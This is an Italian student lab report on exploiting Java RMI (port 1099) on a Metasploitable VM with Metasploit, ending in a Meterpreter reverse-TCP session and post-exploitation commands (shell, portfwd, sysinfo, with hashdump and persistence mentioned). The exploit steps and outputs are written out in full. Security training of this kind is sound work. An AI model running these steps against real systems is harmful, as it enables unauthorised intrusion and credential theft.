

CSPT0524

Esercitazione Exploit Java RMI W16 D4

INFORMAZIONI DEL DOCUMENTO

- | | |
|-------------------|-------------------------|
| 1. Autore | Giovanni D'Abrosca |
| 2. Nome Documento | Exploit Java RMI W16 D4 |
| 3. Data Emissione | 07/03/2025 |

Traccia esercizio:

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 - Java RMI. Si richiede allo studente, ripercorrendo gli step visti nelle lezioni teoriche, di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

I requisiti dell'esercizio sono:

- 1) La macchina attaccante (KALI) deve avere il seguente indirizzo IP: 192.168.11.111
- 2) La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: 192.168.11.112
- 3) Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota:
 - configurazione di rete;
 - informazioni sulla tabella di routing della macchina vittima;
 - ogni altra informazione che è in grado di acquisire.

Verifica IP VM Kali

```
(kali㉿kali)-[~]  
$ ip a  
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000  
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00  
    inet 127.0.0.1/8 scope host lo  
        valid_lft forever preferred_lft forever  
    inet6 ::1/128 scope host noprefixroute  
        valid_lft forever preferred_lft forever  
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000  
    link/ether 08:00:27:ad:25:87 brd ff:ff:ff:ff:ff:ff  
    inet 192.168.11.111/24 brd 192.168.11.255 scope global noprefixroute eth0  
        valid_lft forever preferred_lft forever  
    inet6 fe80::80dd:582d:639e:d89e/64 scope link noprefixroute  
        valid_lft forever preferred_lft forever
```

Verifica IP VM Metasploitable

```
msfadmin@metasploitable:~$ ip a  
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue  
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00  
    inet 127.0.0.1/8 scope host lo  
    inet6 ::1/128 scope host  
        valid_lft forever preferred_lft forever  
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000  
    link/ether 08:00:27:6d:9c:72 brd ff:ff:ff:ff:ff:ff  
    inet 192.168.11.112/24 brd 192.168.11.255 scope global eth0  
    inet6 fe80::a00:27ff:fe6d:9c72/64 scope link  
        valid_lft forever preferred_lft forever
```

Avvia msfconsole digitando il comando nel terminale della macchina KALI:

Una volta aperta la console di Metasploit, è possibile caricare i moduli e configurare i parametri necessari per sfruttare la vulnerabilità del servizio Java RMI sulla porta 1099 della macchina Metasploitable.

Di seguito uno screen di metasploit avviato:

[illegible]

Scelta dell'Exploit con il Comando 'search java_rmi'

Introduzione

La scelta dell'exploit è una fase cruciale nel processo di penetrazione di una rete o di un sistema vulnerabile. Utilizzare il comando 'search java_rmi' nel framework Metasploit permette di identificare potenziali exploit che sfruttano vulnerabilità legate al servizio Java RMI (Remote Method Invocation). Questo servizio, spesso utilizzato per consentire la comunicazione tra applicazioni distribuite, può presentare delle falle di sicurezza se non configurato correttamente.

Utilizzo del Comando 'search java_rmi'

Il comando 'search java_rmi' è utilizzato per cercare all'interno del database di Metasploit gli exploit correlati a Java RMI. Per eseguire questa ricerca, basta inserire il comando nella console di Metasploit:

```
search java_rmi
```

Questa azione restituisce una lista di moduli exploit che possono essere utilizzati per attaccare sistemi che eseguono il servizio Java RMI. La scelta dell'exploit appropriato dipende dalla versione del software, dalla configurazione del sistema bersaglio e dallo specifico vettore di attacco.

Scelta dell'Exploit 'exploit/multi/misc/java_rmi_server'

Descrizione dell'Exploit

L'exploit 'exploit/multi/misc/java_rmi_server' è uno degli exploit che possono essere trovati con il comando 'search java_rmi'. Questo modulo è progettato per sfruttare una vulnerabilità nel servizio Java RMI, permettendo all'attaccante di eseguire codice arbitrario sulla macchina bersaglio.

#	Name	Disclosure Date	Rank
0	auxiliary/gather/java_rmi_registry	.	normal
1	exploit/multi/misc/java_rmi_server	2011-10-15	excellent
2	_ target: Generic (Java Payload)	.	.
3	_ target: Windows x86 (Native Payload)	.	.
4	_ target: Linux x86 (Native Payload)	.	.
5	_ target: Mac OS X PPC (Native Payload)	.	.
6	_ target: Mac OS X x86 (Native Payload)	.	.
7	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal
8	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent

Configurazione dell'Exploit

Dopo aver identificato l'exploit 'exploit/multi/misc/java_rmi_server', è necessario caricarlo nella console di Metasploit e configurare i parametri richiesti. I passaggi per configurare l'exploit sono i seguenti:

1. Caricare il modulo exploit nella console:
2. use exploit/multi/misc/java_rmi_server
3. Verificare e impostare gli indirizzi IP della macchina attaccante e della macchina vittima:
4. set RHOST 192.168.11.112
5. set LHOST 192.168.11.111
6. Impostare la porta del servizio Java RMI:
7. set RPORT 1099
8. Configurare ulteriori parametri necessari, come il payload da utilizzare:
9. set PAYLOAD java/meterpreter/reverse_tcp
10. set LPORT 4444
11. Avviare l'exploit:
12. Exploit

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > options

Module options (exploit/multi/misc/java_rmi_server):



| Name      | Current Setting | Required | Description                                                                                                                                                                                         |
|-----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                                                                                         |
| RHOSTS    | 192.168.11.112  | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                                                                               |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.                                                               |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                                                                                        |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                                                                              |
| SSLCert   | false           | no       | Path to a custom SSL certificate (default is randomly generated)                                                                                                                                    |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                                                                                 |



Payload options (java/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |


```

Questi passaggi permettono di configurare e lanciare l'exploit contro la macchina vittima, sfruttando la vulnerabilità del servizio Java RMI per ottenere l'accesso al sistema target e eseguire codice arbitrario.

Dopo aver scelto l'exploit e configurato i parametri necessari, è essenziale avviarlo per procedere con l'attacco. Il comando per avviare l'exploit può essere "exploit" oppure "run". Una volta eseguito uno di questi comandi, il sistema inizierà a sfruttare la vulnerabilità del servizio Java RMI per ottenere l'accesso alla macchina vittima e eseguire codice arbitrario.

```
msf6 exploit(multi/misc/java_rmi_server) > run
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/jdq8hm
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:60994) at 2025-03-09 17:35:50 +0100

meterpreter > █
```

Una volta ottenuta la sessione con Meterpreter, si aprono diverse possibilità per interagire con la macchina vittima in modo avanzato. Meterpreter offre una varietà di comandi e funzionalità che consentono di esplorare e manipolare il sistema target.

Tra le azioni che possiamo effettuare ci sono:

- Esplorazione del file system: Navigare tra le directory, visualizzare e modificare i file presenti sulla macchina.
- Raccolta di informazioni: Recuperare dati sensibili, come credenziali, informazioni di sistema e configurazioni di rete.
- Impostazione di un accesso persistente: Creare backdoor o altri meccanismi per mantenere l'accesso alla macchina anche dopo il riavvio.
- Movimento laterale: Utilizzare la macchina compromessa come punto di partenza per attaccare ulteriori sistemi nella rete.
- Esecuzione di comandi: Lanciare comandi e script arbitrari per eseguire operazioni desiderate.

Meterpreter fornisce un'interfaccia potente e flessibile che permette di sfruttare al meglio la compromissione della macchina vittima, facilitando l'esecuzione di varie operazioni per raggiungere gli obiettivi prefissati.

Di seguito sono riportati alcuni esempi di comandi che possono essere utilizzati con Meterpreter:

- **ls:** Visualizza il contenuto della directory corrente sulla macchina vittima.

```
meterpreter > ls
Listing: /
```

Mode	Size	Type	Last modified	Name
040666/rw-rw-rw-	4096	dir	2012-05-14 05:35:33 +0200	bin
040666/rw-rw-rw-	1024	dir	2012-05-14 05:36:28 +0200	boot
040666/rw-rw-rw-	4096	dir	2010-03-16 23:55:51 +0100	cdrom
040666/rw-rw-rw-	13480	dir	2025-03-09 16:58:57 +0100	dev
040666/rw-rw-rw-	4096	dir	2025-03-09 16:59:02 +0100	etc
040666/rw-rw-rw-	4096	dir	2010-04-16 08:16:02 +0200	home
040666/rw-rw-rw-	4096	dir	2010-03-16 23:57:40 +0100	initrd
100666/rw-rw-rw-	7929183	fil	2012-05-14 05:35:56 +0200	initrd.img
040666/rw-rw-rw-	4096	dir	2012-05-14 05:35:22 +0200	lib
040666/rw-rw-rw-	16384	dir	2010-03-16 23:55:15 +0100	lost+found
040666/rw-rw-rw-	4096	dir	2010-03-16 23:55:52 +0100	media
040666/rw-rw-rw-	4096	dir	2010-04-28 22:16:56 +0200	mnt
100666/rw-rw-rw-	33219	fil	2025-03-09 16:59:23 +0100	nohup.out
040666/rw-rw-rw-	4096	dir	2010-03-16 23:57:39 +0100	opt
040666/rw-rw-rw-	0	dir	2025-03-09 16:58:47 +0100	proc
040666/rw-rw-rw-	4096	dir	2025-03-09 16:59:23 +0100	root
040666/rw-rw-rw-	4096	dir	2012-05-14 03:54:53 +0200	sbin
040666/rw-rw-rw-	4096	dir	2010-03-16 23:57:38 +0100	srv
040666/rw-rw-rw-	0	dir	2025-03-09 16:58:48 +0100	sys
040666/rw-rw-rw-	4096	dir	2025-03-09 17:35:40 +0100	tmp
040666/rw-rw-rw-	4096	dir	2010-04-28 06:06:37 +0200	usr
040666/rw-rw-rw-	4096	dir	2010-03-17 15:08:23 +0100	var
100666/rw-rw-rw-	1987288	fil	2008-04-10 18:55:41 +0200	vmlinuz

- **download:** Scarica un file dalla macchina vittima al sistema di controllo.
- **upload:** Carica un file dal sistema di controllo alla macchina vittima.
- **sysinfo:** Recupera informazioni sul sistema operativo e l'hardware della macchina vittima.

```
meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture  : x86
System Language : en_US
Meterpreter   : java/linux
meterpreter >
```

- **hashdump:** Esporta gli hash delle password memorizzate sulla macchina vittima.
- **shell:** Apre una shell sulla macchina vittima che permette di eseguire comandi direttamente nel sistema operativo.

```
meterpreter > shell
Process 1 created.
Channel 1 created.
route -n
Kernel IP routing table
Destination    Gateway         Genmask         Flags Metric Ref    Use Iface
192.168.11.0   0.0.0.0        255.255.255.0   U        0      0        0 eth0
0.0.0.0        192.168.11.1   0.0.0.0         UG        100    0        0 eth0
```

- portfwd: Reindirizza le porte dalla macchina vittima a un'altra destinazione per facilitare il movimento laterale.

```
meterpreter > portfwd add -l 8000 -p 80 -r 192.168.11.112  
[*] Forward TCP relay created: (local) :8000 → (remote) 192.168.11.112:80
```

- Ifconfig: verifica le interfacce di rete

```
meterpreter > ifconfig  
  
Interface 1  
=====
```

Name	: lo - lo
Hardware MAC	: 00:00:00:00:00:00
IPv4 Address	: 127.0.0.1
IPv4 Netmask	: 255.0.0.0
IPv6 Address	: ::1
IPv6 Netmask	: ::

```
  
Interface 2  
=====
```

Name	: eth0 - eth0
Hardware MAC	: 00:00:00:00:00:00
IPv4 Address	: 192.168.11.112
IPv4 Netmask	: 255.255.255.0
IPv6 Address	: fe80::a00:27ff:fe6d:9c72
IPv6 Netmask	: ::

Utilizzando questi comandi, è possibile ottenere un controllo completo sulla macchina vittima e svolgere una vasta gamma di operazioni per esplorare, manipolare e sfruttare il sistema compromesso.

Conclusioni

L'utilizzo di Meterpreter offre una potente suite di comandi che permettono di ottenere un controllo completo su una macchina vittima. I comandi illustrati, come ls, download, upload, sysinfo, hashdump, shell e portfwd, forniscono funzionalità essenziali per esplorare, manipolare e sfruttare un sistema compromesso. La capacità di visualizzare e trasferire file, ottenere informazioni di sistema, estrarre hash delle password e reindirizzare le porte, rende Meterpreter uno strumento formidabile nella gestione dei sistemi infetti.

Tuttavia, è fondamentale utilizzare questi strumenti con la massima responsabilità e professionalità. L'uso non autorizzato di Meterpreter e degli altri strumenti di penetrazione può avere gravi conseguenze legali ed etiche. Professionisti della sicurezza informatica devono impiegare tali strumenti esclusivamente in contesti legittimi, come test di penetrazione autorizzati, per rafforzare la sicurezza delle reti e dei sistemi.

In conclusione, l'approccio metodico e l'uso responsabile di Meterpreter possono significativamente migliorare la capacità di individuare e correggere le vulnerabilità, contribuendo ad una maggiore sicurezza informatica per le organizzazioni e gli individui.